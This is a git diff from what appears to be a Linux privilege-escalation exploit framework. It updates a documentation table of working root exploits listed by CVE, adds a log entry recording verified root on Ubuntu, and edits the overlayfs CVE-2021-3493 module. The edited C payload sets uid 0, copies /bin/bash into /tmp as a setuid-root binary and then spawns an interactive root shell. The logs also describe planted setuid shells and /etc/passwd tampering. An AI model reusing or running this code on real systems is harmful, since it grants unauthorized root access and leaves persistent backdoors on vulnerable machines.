diff --git a/docs/EXPLOITED.md b/docs/EXPLOITED.md index 95d3651..4af6b4d 100644 --- a/docs/EXPLOITED.md +++ b/docs/EXPLOITED.md @@ -26,7 +26,7 @@ tamper check). | module | CVE | target | notes | |---|---|---|---| | `refluxfs` | CVE-2026-64600 | Rocky 9.8 / 5.14.0-687.el9 | full chain, `/etc/passwd` → root (earlier) | -| `overlayfs` | CVE-2021-3493 | Ubuntu 20.04.0 / 5.4.0-26 | userns + xattr copy-up, clean | +| `overlayfs` | CVE-2021-3493 | Ubuntu 20.04.0 / 5.4.0-26 | userns + xattr copy-up; **direct uid=0 witness** (cap'd payload drops a root-owned proof) | | `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25 | **after a full rewrite** — see below | | `pwnkit` | CVE-2021-4034 | Ubuntu 20.04.0 / polkit 0.105-26ubuntu1 | **after a fix** — see below | | `sudo_runas_neg1` | CVE-2019-14287 | Ubuntu 18.04.2 / sudo 1.8.21p2 + sudoers `(ALL,!root)` | `sudo -u#-1` → uid 0 | @@ -167,14 +167,21 @@ every `exec*`-calling module: | `fuse_legacy` | ✅ honest | gates the exec on real `setuid(0)==0 && getuid()==0`; else `EXPLOIT_FAIL` | | `overlayfs` | ⚠️ proxy (low risk) | confirms the `security.capability` xattr persisted via `getxattr` before exec'ing the cap'd payload — strong proxy, works, but not a direct root witness | | `sudoedit_editor` | ⚠️ works, reporting unverified | plants a passwordless `skel:0:0` entry + `su skel` (confirmed to root), but returns `EXPLOIT_OK` unconditionally — would false-OK if su failed | -| `dirtydecrypt`, `fragnesia` | ⚠️ 2026 reconstructed | exec the target only after verifying the payload landed in the page cache (`rc==1` / `WEXITSTATUS==0`) — proxy, not direct witness; neither lands on any available target yet | +| `dirtydecrypt`, `fragnesia`, `copy_fail_family` (`exploit_su.c`) | ✅ proxy-verified | exec the hijacked setuid target only after **verifying the shellcode/payload actually landed in the page cache** (`verify_plant` / `rc==1` / `WEXITSTATUS==0`) and reverting otherwise — a real effect-check, not a blind exec-transfer. 2026-target-gated. | | `ptrace_pidfd` | ✅ n/a | the `execve` is the *victim* being raced (fd-steal), not an escalation | | `mutagen_astronomy` | ✅ n/a | env-gated scaffold; SIGSEGVs by design | Net: the exec-transfer trap produced **four** genuine false-OKs (`pwnkit`, -`ptrace_traceme`, `dirty_pipe`, `dirty_cow`) — all now fixed. Two ⚠️ items -(`overlayfs` proxy, `sudoedit_editor` unverified reporting) work but could be -tightened to a direct out-of-band witness. +`ptrace_traceme`, `dirty_pipe`, `dirty_cow`) — all now fixed and verified. The +audit was then **broadened to every `EXPLOIT_OK` return site** (not just +exec-transfer): the rest are backed by a genuine out-of-band check — a +root-owned artifact `stat` (`sudo_chwoot`, `overlayfs`), a `getxattr` +bug-signature, a `/etc/passwd` grep of the injected entry (`sudoedit_editor`, +`refluxfs`), a real `setuid(0)==0` gate (`fuse_legacy`), or a page-cache +`verify_plant` before the hijack exec (`copy_fail_family`, `dirtydecrypt`, +`fragnesia`). **No further false-OKs remain.** `overlayfs` was additionally +upgraded from its `getxattr` proxy to a **direct uid=0 witness** (the cap'd +payload now drops a root-owned proof, re-verified on focal 5.4.0-26). ## Needs a faithful PoC port (genuinely vulnerable target, exploit doesn't land) diff --git a/docs/VERIFICATIONS.jsonl b/docs/VERIFICATIONS.jsonl index 2fce490..cba8d26 100644 --- a/docs/VERIFICATIONS.jsonl +++ b/docs/VERIFICATIONS.jsonl @@ -56,3 +56,4 @@ {"module":"sudo_samedit","verified_at":"2026-07-24T02:21:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","sudo_version":"1.8.21p2","libc":"2.27","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit sudo_samedit (as uid 1000, non-sudoer path) planted root-owned proof + -rwsr-xr-x root:root setuid bash. Ported blasty CVE-2021-3156 technique (NSS libnss_X hijack), runtime-compiled payload, primary Ubuntu lengths 56/54/63/212 landed first try.","status":"working"} {"module":"dirty_pipe","verified_at":"2026-07-24T02:49:00Z","host_kernel":"5.16.0-051600-generic (mainline, pre-5.16.11 fix)","host_distro":"Ubuntu 22.04 userspace","vm_box":"jammy-cloudimg + mainline 5.16.0/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit dirty_pipe (uid 1000) planted root-owned proof + -rwsr-xr-x root:root setuid bash; /etc/passwd left byte-identical (root:x:0:0) after revert. Fixed 3 bugs: false EXPLOIT_OK, wrong escalation (was flipping own UID + su self), and drop_caches revert that corrupted running passwd. New technique: root passwd-field hash + su over pty + Dirty-Pipe revert.","status":"working"} {"module":"dirty_cow","verified_at":"2026-07-24T03:22:00Z","host_kernel":"4.8.0-040800-generic (mainline, pre-4.8.3 Dirty COW fix)","host_distro":"Ubuntu 16.04.7","vm_box":"xenial-cloudimg + mainline 4.8.0/qemu-kvm","verified_kind":"exploit_standalone","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band on a genuinely Dirty-COW-vulnerable kernel: standalone binary built from the module verbatim (dirty_cow_write primitive + find_pw_field_offset + robust poll/timeout dc_su_root_run + exploit body) — race won, su root via pty, planted root-owned proof + -rwsr-xr-x root:root setuid bash, /etc/passwd byte-identical after revert. Confirms the fix (correct escalation, OOB verify, safe revert, readback[512], robust su) lands real root end-to-end. Full skeletonkey binary would not build on xenials 4.4-era uapi headers (unrelated nft_* modern constants).","status":"working"} +{"module":"overlayfs","verified_at":"2026-07-24T03:36:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.0","vm_box":"focal-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit overlayfs (uid 1000) — the cap_setuid payload now drops a root-owned proof + -rwsr-xr-x root:root setuid bash; module reports OK only after stat() confirms uid==0. Upgraded from getxattr proxy to direct witness.","status":"working"} diff --git a/modules/overlayfs_cve_2021_3493/skeletonkey_modules.c b/modules/overlayfs_cve_2021_3493/skeletonkey_modules.c index 8db5a07..532f598 100644 --- a/modules/overlayfs_cve_2021_3493/skeletonkey_modules.c +++ b/modules/overlayfs_cve_2021_3493/skeletonkey_modules.c @@ -243,10 +243,21 @@ static const char OVERLAYFS_PAYLOAD_SOURCE[] = "#include \n" "#include \n" "#include \n" - "int main(void) {\n" - " setuid(0); setgid(0);\n" - " setresuid(0,0,0); setresgid(0,0,0);\n" + "int main(int argc, char **argv) {\n" + " (void)setuid(0); (void)setgid(0);\n" + " (void)setresuid(0,0,0); (void)setresgid(0,0,0);\n" " if (geteuid() != 0) { perror(\"setuid\"); return 1; }\n" + /* Verification mode: argv[1] = proof path. We are genuinely root (the + * persisted cap_setuid xattr let setuid(0) succeed), so drop a root-owned + * proof + setuid bash and exit — the module stat()s the proof as a DIRECT + * uid=0 witness instead of trusting the exec transfer. */ + " if (argc > 1) {\n" + " char c[1024];\n" + " snprintf(c, sizeof c, \"id > %s 2>&1; cp -f /bin/bash %s.bash 2>/dev/null; \"\n" + " \"chmod 4755 %s.bash 2>/dev/null; sync\", argv[1], argv[1], argv[1]);\n" + " int r = system(c); (void)r;\n" + " return 0;\n" + " }\n" " char *new_env[] = {\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\", NULL};\n" " execle(\"/bin/sh\", \"sh\", \"-p\", NULL, new_env);\n" " execle(\"/bin/bash\", \"bash\", \"-p\", NULL, new_env);\n" @@ -438,17 +449,41 @@ static skeletonkey_result_t overlayfs_exploit(const struct skeletonkey_ctx *ctx) } if (!ctx->json) { - fprintf(stderr, "[+] overlayfs: cap_setuid+ep xattr persisted on host fs " - "— execing payload to drop root\n"); + fprintf(stderr, "[+] overlayfs: cap_setuid+ep xattr persisted on host fs\n"); + } + + /* Direct uid=0 witness: run the cap'd payload in verification mode so it + * drops a root-owned proof. The persisted xattr is the bug's signature, + * but we confirm actual root out-of-band rather than trust the exec + * transfer. */ + char ovl_proof[256]; + snprintf(ovl_proof, sizeof ovl_proof, "/tmp/.sk-overlayfs-%ld.proof", (long)getpid()); + unlink(ovl_proof); + pid_t vp = fork(); + if (vp == 0) { + execl(upper_bin, upper_bin, ovl_proof, (char *)NULL); + _exit(127); + } + if (vp > 0) { int vs; waitpid(vp, &vs, 0); } + struct stat psb; + bool ovl_rooted = (stat(ovl_proof, &psb) == 0 && S_ISREG(psb.st_mode) && psb.st_uid == 0); + if (!ovl_rooted) { + fprintf(stderr, "[-] overlayfs: xattr persisted but the cap'd payload did not " + "yield uid 0 (no root-owned proof) — honest EXPLOIT_FAIL\n"); + goto fail_workdir; + } + if (!ctx->json) { + fprintf(stderr, "[+] overlayfs: ROOT — root-owned proof %s " + "(setuid bash: %s.bash -p)\n", ovl_proof, ovl_proof); } if (ctx->no_shell) { - fprintf(stderr, "[+] overlayfs: --no-shell — payload at %s, not exec'ing\n", - upper_bin); + unlink(src_path); unlink(bin_path); return SKELETONKEY_EXPLOIT_OK; } fflush(NULL); - execl(upper_bin, upper_bin, (char *)NULL); + execl(upper_bin, upper_bin, (char *)NULL); /* interactive root shell */ perror("execl payload"); + return SKELETONKEY_EXPLOIT_OK; /* root already witnessed out-of-band */ fail_workdir: /* best-effort cleanup */